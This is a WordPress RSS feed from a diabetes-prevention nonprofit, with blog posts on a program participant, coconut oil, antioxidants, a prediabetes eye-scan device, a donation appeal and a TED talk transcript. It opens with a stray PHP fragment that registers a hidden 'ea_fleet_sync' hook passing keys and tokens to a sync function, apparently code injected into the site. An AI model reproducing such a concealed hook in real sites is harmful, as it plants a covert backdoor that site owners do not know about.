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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); diabetes – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io Mon, 03 Nov 2025 09:52:54 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://skinnygeneprojectnew.dreamsites.io/wp-content/uploads/2023/11/logo-white2-150x150.webp diabetes – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io 32 32 Frieda – Spotlight Story https://skinnygeneprojectnew.dreamsites.io/frieda-spotlight-story/ https://skinnygeneprojectnew.dreamsites.io/frieda-spotlight-story/#respond Thu, 10 Aug 2017 01:59:56 +0000 https://www.skinnygeneproject.org/?p=5126      The DPP (Diabetes Prevention Program) that we offer at Skinny Gene has a couple of main goals, among them being that the participants lead a healthy lifestyle that allows them to prevent type 2 diabetes. One of the key benchmarks to this success is the 5% rule – if you lose 5% of your body weight, you are statistically proven to have a 58% lower rate of diabetes and it continues to drop with your weight. Making into the “5% club” is a huge deal for us, and we caught up with a member of this group, Frieda, who has used the DPP to seriously curb her diabetes risk.

     Before the DPP, Frieda had very little awareness of the nutrition and impact that it had on her body. She had no energy, didn’t exercise, had joint pains, had consistent mood swings, and “felt quite hopeless about losing weight”. Despite the rough position Frieda was in, she took it upon herself to sign up for one of our DPP classes and soon started seeing a difference. One of the key differences that Frieda saw with the DPP compared to other ways that she had tried to change her unhealthy lifestyle was the commitment. Her prevention experience was an entire year long, with meetings going from weekly to monthly as the program progressed. This reliable, safe place allowed Frieda to find her own success.

“Lifestyle changes just don’t happen overnight, weight doesn’t come off in a flash, and exercise habits take a long time to establish.  Being able to have a framework for a year meant the stage was set for me to succeed.”

     The DPP was also something that Frieda genuinely enjoyed, and that is due to the instructors and impressive group support provided. Frieda’s instructor would email her between classes and go over plans before trips out of town, which really gave her the support and extra push she needed to change her habits. The group in which Frieda worked with was incredibly diverse, with some fitness nuts, others who hated running, as well as people who were short, tall, fat, or skinny. This environment allowed the DPP meetings to become an enjoyable social gathering, creating a place where sticking to a meal or exercise regimen much easier with the support of colleagues going through the same thing right along with you. We are proud to congratulate Frieda on not only reaching the 5% goal, but reaching all the way to 10% below her initial starting weight! Her commitment took her to a much healthier place, and SGP could not be more proud. Just like Frieda felt in the beginning, you may feel discouraged and hopeless, but take her advice and give the DPP a shot, chances are you could change your life and meet some great people in the process.

Designs By: Courteney Lisowski

]]> https://skinnygeneprojectnew.dreamsites.io/frieda-spotlight-story/feed/ 0 Coconut Oil https://skinnygeneprojectnew.dreamsites.io/coconut-oil/ https://skinnygeneprojectnew.dreamsites.io/coconut-oil/#respond Thu, 03 Aug 2017 22:26:35 +0000 https://www.skinnygeneproject.org/?p=5107 As far as food fads go, the past couple of years have stuffed us full, with healthy trends such as acai bowls and avocado toast having massive surges in popularity. One of the most popular food fads that is gaining traction today is coconut oil, either as a cosmetic product or as a dietary supplement. It finds itself as a substitute for olive or canola oil in cooking, as well as an appetite depressant with potential therapeutic effects. With its distinctive flavor and versatile utility around the home, it’s no surprise that coconut oil has received the popularity it has in recent times. The legitimate health benefits of coconut oil are still to be decided, however, as some studies show real promise in health, such a 2006 study that saw the fatty acids present in coconut oil, ketones, boost brain function in Alzheimer’s patients. Despite growing popularity and an increased focus with medical studies, there still seems to be hesitation on advocating for coconut oil from major organizations such as the American Diabetes Association. This is due to the high amount of saturated fat contained in coconut oil, which has been linked to higher rates of diabetes and heart attacks. Despite this, a scientific consensus has not been reached, and everyone still wants to know the answer: Is coconut oil actually good for you?

One of the most optimistic viewpoints on coconut oil comes from some recent studies that have concluded that saturated fat, the main health hazard in coconut oil, is mostly harmless. Several studies since 2015 have eliminated the connection between saturated fat and heart disease, although they are too preliminary for major organizations like the American Diabetes Association to pick up. On top of that, the saturated fat that is in coconut oil is a medium length triglyceride, meaning it is metabolized differently from more common, longer length fats. This different length is the cause of coconut oil’s therapeutic effects on several brain disorders. Its specific length allows coconut oil to have even more benefits, such as helping you burn more fat and calories, as well as curbing your appetite and even lowering blood cholesterol levels.

Coconut oil has a lot of potential, but the most important obstacle in its way is the lack of real research done about it. Without the time and numbers behind consumption of coconut oil, doctors recommend that you limit yourself to about a tablespoon a day before more studies are done to legitimize it as a true healthy food. While this oil may find its way into many households nowadays, stay informed, limit your consumption, and know the real risks and benefits here with us at Skinny Gene.

 

Designs by: Courteney Lisowski

]]> https://skinnygeneprojectnew.dreamsites.io/coconut-oil/feed/ 0 Dr. Aarti Ivanic https://skinnygeneprojectnew.dreamsites.io/dr-aarti-ivanic/ https://skinnygeneprojectnew.dreamsites.io/dr-aarti-ivanic/#respond Wed, 12 Jul 2017 23:17:11 +0000 https://www.skinnygeneproject.org/?p=5002 Dr. Aarti Ivanic is an associate professor of marketing at the University of San Diego’s school of business and a board member at the Skinny Gene Project. For the past 4 years her work has been involved with how marketing and nutrition interact in order to figure out how to make people from all different ethnic, racial and socio-economic groups make better decisions about the food and drink they consume. Her goal is to tackle the major problems with nutrition in order to make an impactful change in the world using her education in marketing.

As a self-proclaimed “date driven person”, Dr. Ivanic uses marketing analytics, statistics and experimental research to come to a general understanding of what influences an individual’s nutritional choices. In her line of research, Dr. Ivanic wants to understand “through a marketing lens, what can firms do in order to help people make better food choices”, while understanding the nuances of race and ethnicity and how they affect those choices.

Her work undermines misconceptions about marketing as simply a creative and ad driven field, stressing the importance of data and numbers for successful marketing projects.

At the very heart of Dr. Ivanic’s research is the concept of empowerment. She says that “when people feel empowered, they tend to make good decisions”. Her aim is to understand how marketers can empower people to make better nutritional choices by instilling affirmation and confidence. In her experimental research she asks subjects to reflect on their race and ethnicity in order to come to an understanding of whether or not they feel empowered with the necessary tools to make these decisions or not. She also gauges “nutritional literacy” in these groups in order to understand where there is a lack of knowledge and information about nutrition which could ultimately empower or disempower specific subgroups of individuals.

Dr. Ivanic chose to become a board member at the Skinny Gene Project because her professional and personal goal of empowerment aligns with the organization’s. Both the Skinny Gene Project’s work and Dr. Ivanic’s research take into consideration how race and ethnicity are two imperative factors for making sweeping changes in nutrition, health and diabetes.

Dr. Ivanic was recently tenured at USD, and hopes that this opportunity will give her time to work even harder on her research and projects. In the near future she hopes to focus her research on epilepsy and stigma, ultimately hoping to understand how social issues and disease are intertwined.

Photography by: Samantha Combs

]]> https://skinnygeneprojectnew.dreamsites.io/dr-aarti-ivanic/feed/ 0 Choosing Antioxidants for Optimal Health https://skinnygeneprojectnew.dreamsites.io/choosing-antioxidants-for-optimal-health/ https://skinnygeneprojectnew.dreamsites.io/choosing-antioxidants-for-optimal-health/#respond Fri, 28 Aug 2015 22:48:41 +0000 http://skinnygeneproject.dreamhosters.com/?p=2452 By Rennie Aranda, Skinny Gene Registered Dietitian

We have all been told not only to eat our fruits and veggies, but eat them in a variety of colors – red, dark green, yellow, blue, purple, white and orange. Why? It not only creates a more visually pleasing plate for ourselves (and our kids!), but it provides us with a broad range of nutrients, including antioxidants!

Screen Shot 2015-08-28 at 3.24.31 PM

What are antioxidants?

Antioxidants are nutrients that help prevent or delay some types of cell damage that lead to chronic conditions (heart disease, cancer, vision loss, diabetes, etc.)

 

Where can we find them? (foods)

Antioxidants obtained from the diet play an important role in the body’s antioxidant defense against free radicals that promote (i.e cause) cell damage, which is linked to an increased risk of a variety of diseases and even to the aging process itself. These antioxidants include Vitamin C, Vitamin E, carotenoids such as beta-carotene and lycopene, and other phytonutrients (substances found in fruits, vegetables, and other plant foods that provide health benefits).

Screen Shot 2015-08-28 at 3.03.57 PM

Vitamin C and Vitamin E are especially effective because they help reduce a variety of reactive oxygen species (those free radicals that cause cell damage) and are quickly regenerated back to their active form to neutralize the next set of free radicals — a natural boost to our immune system!

Vitamin C is abundant in fruits and vegetables and offers antioxidant protection against bacterial and viral invaders.

Vitamin E is generally found in nuts, seeds, vegetable oils, and wheat germ to protect unsaturated fat in cell membranes as well as fatty nerve tissue from oxidative destruction.

Carotenoids are colored nutrients/antioxidants generally found in fruits and vegetables as well. (It’s safe to say fruits and vegetables are loaded with a variety of different antioxidants!) This includes beta-carotene (the orange color in carrots) and lycopene (the red color in tomatoes).

Aim for a variety of colors to obtain different antioxidants in foods. Examples of foods that are rich in antioxidants include (but not limited to): prunes, apples, raisins, plums, grapes, alfalfa sprouts, onions, eggplant, beans, whole grains, and fish.

Other antioxidants that can help keep you healthy include zinc (found in oysters, red meat, poultry, beans, nuts, seafood, whole grains, fortified cereals, and dairy products) and selenium (found in Brazilian nuts, tuna, beef, poultry, fortified breads, and other grain products). To get the biggest benefits of antioxidants, eat these raw (if it doesn’t need to be cooked, such as vegetables) or lightly steam them. Don’t overcook or boil them, which can lead to some nutrient loss.

 

How cooking with color can help your health:

Here are just some of the benefits of eating a variety of colorful fruits and vegetables.

Screen Shot 2015-08-28 at 3.41.35 PM

  • Red: fruits and vegetables rich in this color help
    aintain a healthy heart, memory function, urinary tract health, and lowers risk of some cancers.
  • Orange/Yellow: these fruits and veggies help maintain heart, vision, and immune system health, as well as lower the risk of some cancers. High levels of vitamin C and folic acid are found in these colored fruits and vegetables.
  • Green: Fruits and veggies of this color decreases the risk of some cancers as well as heart disease, maintain vision health, protect against birth defects and keep red blood cells, bones, and teeth strong.
  • Blue/Purple/Black: these fruits and veggies contain antioxidants that help lower the risk of some cancers, promote healthy aging, and improve urinary tract health, memory function and heart health.
  • White/Tan/Brown: a diet rich in these colored fruits and vegetables will enjoy the benefits of lower cancer risk and heart health maintenance. These fruits and vegetables typically include health promoting substances such as folic acid, fiber, potassium, and vitamin C.

 

How antioxidants affect diabetes:

High blood sugars (hyperglycemia) in those with type 2 diabetes promote auto-oxidation of glucose (blood sugar) to form free radicals, which is why antioxidants can help in reducing diabetic complications as a result of hyperglycemia. Measures of oxidative damages are generally increased in people with diabetes since hyperglycemia creates additional oxidative stress and decreased antioxidant protection. Although evidence does not warrant increased intakes of antioxidants to help treat or delay the onset of diabetes, including antioxidants in our diet can help protect our cells from some oxidative damage.

The best way to stay healthy is to eat a wide variety of vitamin-rich foods. Nutrient dense “super foods” are packed with vitamins, minerals, and antioxidants, which all minimize cell damage that may lead to heart disease, cancer, Alzheimer’s, diabetes, and other chronic conditions. Nutrients work best in our bodies when we get them the natural way — through our diet! It’s best to aim for a variety of healthy foods that contain vitamins, minerals, and antioxidants to ensure a nutritionally balanced diet for optimal health.

Related Post: Eat the Rainbow!

 

]]> https://skinnygeneprojectnew.dreamsites.io/choosing-antioxidants-for-optimal-health/feed/ 0 New Partnership Revolutionizes Prediabetes Screenings https://skinnygeneprojectnew.dreamsites.io/skinny-gene-project-freedom-meditech-partnership-will-revolutionize-healthcare-screenings/ https://skinnygeneprojectnew.dreamsites.io/skinny-gene-project-freedom-meditech-partnership-will-revolutionize-healthcare-screenings/#respond Thu, 10 Jul 2014 19:46:33 +0000 http://skinnygeneproject.dreamhosters.com/?p=2194 The Skinny Gene Project has partnered with Freedom Meditech, a medical device company, to provide a revolutionary new kind of prediabetes healthcare screening. The Clearpath DS-120 is an FDA approved device that is non-invasive and has immediate results. Compared to other diabetes screenings, the Clearpath DS-120 does not involve drawing blood, or any discomfort for the patient.

ClearPath_DS_120

“97% of people with prediabetes are unaware they have this condition. By partnering with Freedom Meditech, our goal is to change this statistic.” – Marlayna Bolinger, Executive Director of the Skinny Gene Project

Screening for Prediabetes

Currently, 79 million Americans have a condition known as prediabetes, which generally precedes type 2 diabetes. People with prediabetes have blood sugar levels that are higher than normal, but not high enough for a diagnosis of diabetes. They are at higher risk for developing type 2 diabetes and other serious health problems, including heart disease, and stroke. Without lifestyle changes to improve their health, people with prediabetes will most likely develop full-blown type 2 diabetes within 5 – 7 years.

Since prediabetes and type 2 diabetes have no noticeable symptoms,  the disease is  commonly only diagnosed several years after its onset, when complications are already present.  The Clearpath DS-120 has the ability to detect prediabetes and early diabetes up to 7 years before complications begin.  Once a person’s risk has been determined, they can go to their primary care provider for a formal diagnosis. This information gives a person the opportunity to take the necessary actions to prevent the further development of type 2 diabetes and begin to restore their health.

The Clearpath DS-120 is revolutionizing prediabetes and early diabetes screenings, because with a 6 second, painless scan of the eye, a person will be able to understand their risk. Then, they have options on how to proceed. That’s putting the power of prevention back into the hands of the people.

Through the partnership, the Skinny Gene Project and Freedom Meditech are providing pre and post-screening education materials to be distributed to patients, including a “Next Steps” brochure to direct those at-risk to the appropriate professionals.  In San Diego, CA, the two organizations work together to provide prediabetes screenings in low-income communities that have an increased risk for diabetes.

Detecting Prediabetes

How does it work? The Clearpath DS-120 detects prediabetes by scanning the crystalline lens of the eye with a blue light to measure autofluorescence. Studies have shown that elevated autofluorescence measurements can be an indicator of glucose control, the body’s aging process and the presence of systemic disease.

Being able to identify risks of diabetes 7 years prior to complications is crucial in helping to detect and treat diabetes before it can affect an individual’s quality of life. Together, Skinny Gene Project and Freedom Meditech want to inform the public about the benefits of the Clearpath DS-120 and how its use will aid in diagnosing  undetected prediabetes and diabetes early on.

Since the first symptoms of diabetes to appear are usually related to the eye, the Clearpath DS-120 will be useful as part of a yearly check up at the eye doctor. The device could easily be implemented under a professional’s care during each visit, in addition to screenings for glaucoma and retinopathy.

By including the Clearpath DS-120 in Optometrist and Ophthalmologist offices, where patients receive an annual eye exam, we are not just increasing early detection screenings; we’re increasing the opportunity to prevent diabetes.

For more information about Freedom Meditech and their mission you can visit their website at: www.freedom-meditech.com.

About Skinny Gene Project

The Skinny Gene Project (a division of the J.Moss Foundation) is a 501(c)(3) non-profit organization dedicated to preventing diabetes. We help educate those who are at-risk; empower them with the resources, tools, and support needed to make healthy lifestyle changes; and teach them how to make the long-term social, environment, and behavioral changes needed to prevent the onset of type 2 diabetes.

If you at-risk for diabetes, please contact us today to see how we can help!

]]> https://skinnygeneprojectnew.dreamsites.io/skinny-gene-project-freedom-meditech-partnership-will-revolutionize-healthcare-screenings/feed/ 0 #GIVINGTUESDAY – GIVE HOPE https://skinnygeneprojectnew.dreamsites.io/givingtuesday-give-hope/ https://skinnygeneprojectnew.dreamsites.io/givingtuesday-give-hope/#respond Sun, 01 Dec 2013 22:14:12 +0000 http://skinnygeneproject.dreamhosters.com/?p=1765
Giving Tuesday banner 2First, there was the post-Thanksgiving sales event Black Friday, and then the online version, Cyber Monday.  Now, charitable groups have started a new holiday tradition — it’s called #GivingTuesday, and it starts  this  TUESDAY!

We love the idea of #GivingTuesday, because it is like giving season’s “opening day”. It’s a time in which people can come together as a group to make a significant impact on our community.  It’s not just one person opening their check book, but rather a group of people, working as one, to write a new future for our children and all those trying to prevent type 2 diabetes.

THIS TUESDAY, GIVE HOPE!

This #GivingTuesday, please donate and help us bring HOPE to those who need it most!

Right now, diabetes threatens 1 in 3 families in our communities.  In many families, diabetes has been passed  down from generation to generation. Those that have lost their own grandparents, aunt and uncles, and parents to diabetes, now find that they (themselves) and their children are at-risk.  Without access to quality health care and nutrition counseling, diabetes will continue to threaten these families for years to come.

With your help, we can GIVE these families an alternative future. We can GIVE these families what they need to create a healthy home so that prevention is passed to the next generation. When you GIVE a family an opportunity to prevent diabetes, you GIVE them HOPE!

YOUR DONATION WILL MAKE A DIFFERENCE

When you donate, your dollars will directly impact the lives of those in need. In fact, 100% of donations made this #GivingTuesday, and throughout the giving season (Thanksgiving- Christmas),  will be used to put Prevention on the Move.  Help us bring diabetes prevention programs to low-income communities  that do not have the resources to provide 1-on-1 nutrition counseling, group classes, or support groups to those struggling to prevent diabetes from affecting their family.

Whether you donate $5, $10, $25,  or $35, your dollars will make a difference!

Donations Making a Difference Increments

 

We understand that funds can be a little “wrapped up” during the holidays.  You can still participate in #GivingTuesday by pledging your donation for a more convenient time  (e.g March, 2014).  Simply click the donate button above, then when prompted, click on the schedule tab.

PEOPLE MAKING PREVENTION POSSIBLE

For the last 5 years, people have been making prevention possible. We are funded entirely by donations from health-minded people,  like you.  With those donations, last year alone, we were able to provide nutrition information to over 200,000 people.

We also  have an over 80% success rate helping those in our Lifestyle Modification Program delay or prevent the onset of type 2 diabetes.  Each year diabetes is kept at bay it results in an estimated savings in healthcare costs of $11,744 per person.

So when you GIVE this #GivingTuesday, know that your gift is doing more than making a difference in the fight against diabetes; it’s giving families hope.

Please click here to make an online tax deductible donation or send checks to:

Skinny Gene Project

9974 Scripps Ranch Blvd #295

San Diego, CA 92131

Our mission, as a 501(c)(3) diabetes prevention organization, is to launch community-based programs throughout the U.S that educate at-risk groups about the importance of preventing diabetes; empower them by providing personalized nutrition counseling and support; and teach them how to prevent the progression of prediabetes into full-blown diabetes.

 

]]> https://skinnygeneprojectnew.dreamsites.io/givingtuesday-give-hope/feed/ 0 World Diabetes Day: Diabetes battle ‘being lost’ https://skinnygeneprojectnew.dreamsites.io/world-diabetes-day-diabetes-battle-being-lost/ https://skinnygeneprojectnew.dreamsites.io/world-diabetes-day-diabetes-battle-being-lost/#respond Thu, 14 Nov 2013 22:46:14 +0000 http://skinnygeneproject.dreamhosters.com/?p=2059 It’s World Diabetes Day!  We talk a lot about the impact diabetes has on our country, but the fight against diabetes is a global issue.

Right now, 382 million people around the world are living with diabetes, but this is expected to increase to 592 million people over the next 22 yrs. 

But…We can fight back! We ARE fighting back! Let’s unite in the fight against diabetes!

Diabetes battle ‘being lost’ as cases hit record 382 million

The world is losing the battle against diabetes as the number of people estimated to be living with the disease soars to a new record of 382 million this year, medical experts said on Thursday.

The vast majority have type 2 diabetes – the kind linked to obesity and lack of exercise – and the epidemic is spreading as more people in the developing world adopt Western, urban lifestyles.

The latest estimate from the International Diabetes Federation is equivalent to a global prevalence rate of 8.4 percent of the adult population and compares to 371 million cases in 2012.

By 2035, the organization predicts the number of cases will have soared by 55 percent to 592 million.

“The battle to protect people from diabetes and its disabling, life-threatening complications is being lost,” the federation said in the sixth edition of its Diabetes Atlas, noting that deaths from the disease were now running at 5.1 million a year – one every six seconds.

People with diabetes have inadequate blood sugar control, which can lead to a range of dangerous complications, including damage to the eyes, kidneys and heart. If left untreated, it can result in premature death.

“Year after year, the figures seem to be getting worse,” said David Whiting, an epidemiologist and public health specialist at the federation. “All around the world we are seeing increasing numbers of people developing diabetes.”

He said that a strategy involving all parts of society was needed to improve diets and promote healthier lifestyles.

The federation calculates diabetes already accounts for annual health care spending of $548 billion and this is likely to rise to $627 billion by 2035.

Worryingly, an estimated 175 million of diabetes cases are as yet undiagnosed, so a huge number of people are progressing toward complications unawares. Most of them live in low- and middle-income countries with far less access to medical care than in the United States and Europe.

The country with the most diabetics overall is China, where the case load is expected to rise to 142.7 million in 2035 from 98.4 million at present.

But the highest prevalence rates are to be found in the Western Pacific, where more than a third of adults in Tokelau, Micronesia and the Marshall Islands already are living with the disease.

Pharmaceutical companies have developed a range of medicines over the years to counter diabetes but many patients still struggle to control their condition adequately, leading to a continuing hunt for improved treatments.

Novo Nordisk, Sanofi and Eli Lilly are all major suppliers of insulin and other diabetes therapies.

]]> https://skinnygeneprojectnew.dreamsites.io/world-diabetes-day-diabetes-battle-being-lost/feed/ 0 Diabetes Awareness Month Tidbits https://skinnygeneprojectnew.dreamsites.io/national-diabetes-month-tidbits/ https://skinnygeneprojectnew.dreamsites.io/national-diabetes-month-tidbits/#respond Sun, 03 Nov 2013 21:16:00 +0000 http://skinnygeneproject.dreamhosters.com/?p=1749 November is Diabetes Awareness Month!  It’s our chance to raise awareness about the importance of living a healthy lifestyle to prevent the development of type 2 diabetes.

All month long, we will be debunking myths and sharing a few of our favorite tidbits on our blog, Facebook, and Twitter. We will be adding more tidbits to our list throughout the month, so check back frequently to see the next Diabetes Awareness fact.

We need your help to spread the word! So please feel free to share these tidbits with your family and friends.

Happy Diabetes Awareness Month,

From our Skinny Gene Family to yours!

Diabetes Awareness Month Facts

Tidbit #1: 

Did you know the term ‘juvenile diabetes’ is a dated and misleading term since children, teens, and ADULTS can get type 1 diabetes? The proper term is ‘type 1 diabetes’.

Tidbit #2: 

Did you know that with type 1 and type 2 you inherit a predisposition to the disease then something in your environment triggers it?

In type 1, that trigger can be cold weather, a virus, or even how long your were breastfed as a child (NOT eating too much sugar).

Tidbit #3: 

As of 2012, 105 million people in the U.S have or are at risk of developing diabetes. To put that in perspective, that is more than the population of New York, California, Texas, Florida, and Arkansas combined.

 

Tidbit #4:

1 in 3 Americans will develop diabetes in their lifetime.

]]> https://skinnygeneprojectnew.dreamsites.io/national-diabetes-month-tidbits/feed/ 0 Is the Obesity the Problem https://skinnygeneprojectnew.dreamsites.io/ted-is-obesity-problem/ https://skinnygeneprojectnew.dreamsites.io/ted-is-obesity-problem/#respond Thu, 25 Jul 2013 21:56:52 +0000 http://skinnygeneproject.dreamhosters.com/?p=1975 We enjoy posting other people’s perspectives on obesity, prediabetes, and type 2 diabetes. We hope that by sharing these perspectives,  it will help all of us have a clearer picture of what we’re truly fighting.

If you’ve watched any of the TED videos, you know that they are generally very thought provoking speeches that often challenge conventional thinking. Well, this video is no different. The question is simple…”Is obesity the problem” ; the answer is anything but.

Simply put, this video is not just thought provoking, it’s a great story. What begins as a snap judgement ends as a tearful plea for forgiveness. And in-between the two are a series of statements that really question how we view obesity and diabetes, and treat those with this very complicated metabolic disease.

Although we may not completely agree with all statements and conclusions made in this video, there are a few questions and points he raised that we absolutely stand behind. The 4 comments and statements below justify and reiterate why our work, as a non-profit diabetes prevention organization, in the community is still so desperately needed.

  1. There isn’t a set dietary prescription for being insulin resistant and preventing diabetes.
  2. Can people make the necessary changes in their diets in a way that’s safe and practical to implement? How can we move their behavior in that direction so that it becomes more the default rather than the exception?
  3. Just because you know what to do doesn’t mean you’re always going to do it. Sometimes we have to put cues around people to make it easier.
  4. We can’t keep blaming our overweight and diabetic patients. Most of them actually want to do the right thing, but they have to know what that is, and it’s got to work.

What points did he make that stood out the most to you?

TRANSCRIPT
I’ll never forget that day back in the spring of 2006. I was a surgical resident at The Johns Hopkins Hospital, taking emergency call. I got paged by the E.R. around 2 in the morning to come and see a woman with a diabetic ulcer on her foot. I can still remember sort of that smell of rotting flesh as I pulled the curtain back to see her. And everybody there agreed this woman was very sick and she needed to be in the hospital. That wasn’t being asked.The question that was being asked of me was a different one, which was, did she also need an amputation?

Now, looking back on that night, I’d love so desperately to believe that I treated that womanon that night with the same empathy and compassion I’d shown the 27-year-old newlywedwho came to the E.R. three nights earlier with lower back pain that turned out to be advanced pancreatic cancer. In her case, I knew there was nothing I could do that was actually going to save her life. The cancer was too advanced. But I was committed to making sure that I could do anything possible to make her stay more comfortable. I brought her a warm blanket and a cup of a coffee. I brought some for her parents. But more importantly, see, I passed no judgment on her, because obviously she had done nothing to bring this on herself. So why was it that, just a few nights later, as I stood in that same E.R. and determined that my diabetic patient did indeed need an amputation, why did I hold her in such bitter contempt?

You see, unlike the woman the night before, this woman had type 2 diabetes. She was fat.And we all know that’s from eating too much and not exercising enough, right? I mean, how hard can it be? As I looked down at her in the bed, I thought to myself, if you just tried caring even a little bit, you wouldn’t be in this situation at this moment with some doctor you’ve never met about to amputate your foot.

Why did I feel justified in judging her? I’d like to say I don’t know. But I actually do. You see, in the hubris of my youth, I thought I had her all figured out. She ate too much. She got unlucky. She got diabetes. Case closed.

Ironically, at that time in my life, I was also doing cancer research, immune-based therapies for melanoma, to be specific, and in that world I was actually taught to question everything,to challenge all assumptions and hold them to the highest possible scientific standards. Yet when it came to a disease like diabetes that kills Americans eight times more frequently than melanoma, I never once questioned the conventional wisdom. I actually just assmed the pathologic sequence of events was settled science.

Three years later, I found out how wrong I was. But this time, I was the patient. Despite exercising three or four hours every single day, and following the food pyramid to the letter,I’d gained a lot of weight and developed something called metabolic syndrome. Some of you may have heard of this. I had become insulin-resistant.

You can think of insulin as this master hormone that controls what our body does with the foods we eat, whether we burn it or store it. This is called fuel partitioning in the lingo. Now failure to produce enough insulin is incompatible with life. And insulin resistance, as its name suggests, is when your cells get increasingly resistant to the effect of insulin trying to do its job. Once you’re insulin-resistant, you’re on your way to getting diabetes, which is what happens when your pancreas can’t keep up with the resistance and make enough insulin. Now your blood sugar levels start to rise, and an entire cascade of pathologic eventssort of spirals out of control that can lead to heart disease, cancer, even Alzheimer’s disease, and amputations, just like that woman a few years earlier.

With that scare, I got busy changing my diet radically, adding and subtracting things most of you would find almost assuredly shocking. I did this and lost 40 pounds, weirdly while exercising less. I, as you can see, I guess I’m not overweight anymore. More importantly, I don’t have insulin resistance.

But most important, I was left with these three burning questions that wouldn’t go away:How did this happen to me if I was supposedly doing everything right? If the conventional wisdom about nutrition had failed me, was it possible it was failing someone else? And underlying these questions, I became almost maniacally obsessed in trying to understand the real relationship between obesity and insulin resistance.

Now, most researchers believe obesity is the cause of insulin resistance. Logically, then, if you want to treat insulin resistance, you get people to lose weight, right? You treat the obesity. But what if we have it backwards? What if obesity isn’t the cause of insulin resistance at all? In fact, what if it’s a symptom of a much deeper problem, the tip of a proverbial iceberg? I know it sounds crazy because we’re obviously in the midst of an obesity epidemic, but hear me out. What if obesity is a coping mechanism for a far more sinister problem going on underneath the cell? I’m not suggesting that obesity is benign, but what I am suggesting is it may be the lesser of two metabolic evils.

You can think of insulin resistance as the reduced capacity of ourselves to partition fuel, as I alluded to a moment ago, taking those calories that we take in and burning some appropriately and storing some appropriately. When we become insulin-resistant, the homeostasis in that balance deviates from this state. So now, when insulin says to a cell, I want you to burn more energy than the cell considers safe, the cell, in effect, says, “No thanks, I’d actually rather store this energy.” And because fat cells are actually missing most of the complex cellular machinery found in other cells, it’s probably the safest place to store it. So for many of us, about 75 million Americans, the appropriate response to insulin resistance may actually be to store it as fat, not the reverse, getting insulin resistance in response to getting fat.

This is a really subtle distinction, but the implication could be profound. Consider the following analogy: Think of the bruise you get on your shin when you inadvertently bang your leg into the coffee table. Sure, the bruise hurts like hell, and you almost certainly don’t like the discolored look, but we all know the bruise per se is not the problem. In fact, it’s the opposite. It’s a healthy response to the trauma, all of those immune cells rushing to the site of the injury to salvage cellular debris and prevent the spread of infection to elsewhere in the body. Now, imagine we thought bruises were the problem, and we evolved a giant medical establishment and a culture around treating bruises: masking creams, painkillers, you name it, all the while ignoring the fact that people are still banging their shins into coffee tables.How much better would we be if we treated the cause — telling people to pay attention when they walk through the living room — rather than the effect? Getting the cause and the effect right makes all the difference in the world. Getting it wrong, and the pharmaceutical industrycan still do very well for its shareholders but nothing improves for the people with bruised shins. Cause and effect.

So what I’m suggesting is maybe we have the cause and effect wrong on obesity and insulin resistance. Maybe we should be asking ourselves, is it possible that insulin resistance causes weight gain and the diseases associated with obesity, at least in most people?What if being obese is just a metabolic response to something much more threatening, an underlying epidemic, the one we ought to be worried about?

Let’s look at some suggestive facts. We know that 30 million obese Americans in the United States don’t have insulin resistance. And by the way, they don’t appear to be at anygreater risk of disease than lean people. Conversely, we know that six million lean people in the United States are insulin-resistant, and by the way, they appear to be at even greater risk for those metabolic disease I mentioned a moment ago than their obese counterparts.Now I don’t know why, but it might be because, in their case, their cells haven’t actually figured out the right thing to do with that excess energy. So if you can be obese and not have insulin resistance, and you can be lean and have it, this suggests that obesity may just be a proxy for what’s going on.

So what if we’re fighting the wrong war, fighting obesity rather than insulin resistance? Even worse, what if blaming the obese means we’re blaming the victims? What if some of our fundamental ideas about obesity are just wrong?

Personally, I can’t afford the luxury of arrogance anymore, let alone the luxury of certainty. I have my own ideas about what could be at the heart of this, but I’m wide open to others.Now, my hypothesis, because everybody always asks me, is this. If you ask yourself, what’s a cell trying to protect itself from when it becomes insulin resistant, the answer probably isn’t too much food. It’s more likely too much glucose: blood sugar. Now, we know that refined grains and starches elevate your blood sugar in the short run, and there’s even reason to believe that sugar may lead to insulin resistance directly. So if you put these physiological processes to work, I’d hypothesize that it might be our increased intake of refined grains, sugars and starches that’s driving this epidemic of obesity and diabetes, but through insulin resistance, you see, and not necessarily through just overeating and under-exercising.

When I lost my 40 pounds a few years ago, I did it simply by restricting those things, which admittedly suggests I have a bias based on my personal experience. But that doesn’t mean my bias is wrong, and most important, all of this can be tested scientifically. But step one is accepting the possibility that our current beliefs about obesity, diabetes and insulin resistance could be wrong and therefore must be tested. I’m betting my career on this.Today, I devote all of my time to working on this problem, and I’ll go wherever the science takes me. I’ve decided that what I can’t and won’t do anymore is pretend I have the answers when I don’t. I’ve been humbled enough by all I don’t know.

For the past year, I’ve been fortunate enough to work on this problem with the most amazing team of diabetes and obesity researchers in the country, and the best part is, just like Abraham Lincoln surrounded himself with a team of rivals, we’ve done the same thing. We’ve recruited a team of scientific rivals, the best and brightest who all have different hypothesesfor what’s at the heart of this epidemic. Some think it’s too many calories consumed. Others think it’s too much dietary fat. Others think it’s too many refined grains and starches. But this team of multi-disciplinary, highly skeptical and exceedingly talented researchers do agree on two things. First, this problem is just simply too important to continue ignoring because we think we know the answer. And two, if we’re willing to be wrong, if we’re willing to challenge the conventional wisdom with the best experiments science can offer, we can solve this problem.

I know it’s tempting to want an answer right now, some form of action or policy, some dietary prescription — eat this, not that — but if we want to get it right, we’re going to have to do much more rigorous science before we can write that prescription.

Briefly, to address this, our research program is focused around three meta-themes, or questions. First, how do the various foods we consume impact our metabolism, hormones and enzymes, and through what nuanced molecular mechanisms? Second, based on these insights, can people make the necessary changes in their diets in a way that’s safe and practical to implement? And finally, once we identify what safe and practical changes people can make to their diet, how can we move their behavior in that direction so that it becomes more the default rather than the exception? Just because you know what to do doesn’t mean you’re always going to do it. Sometimes we have to put cues around people to make it easier, and believe it or not, that can be studied scientifically.

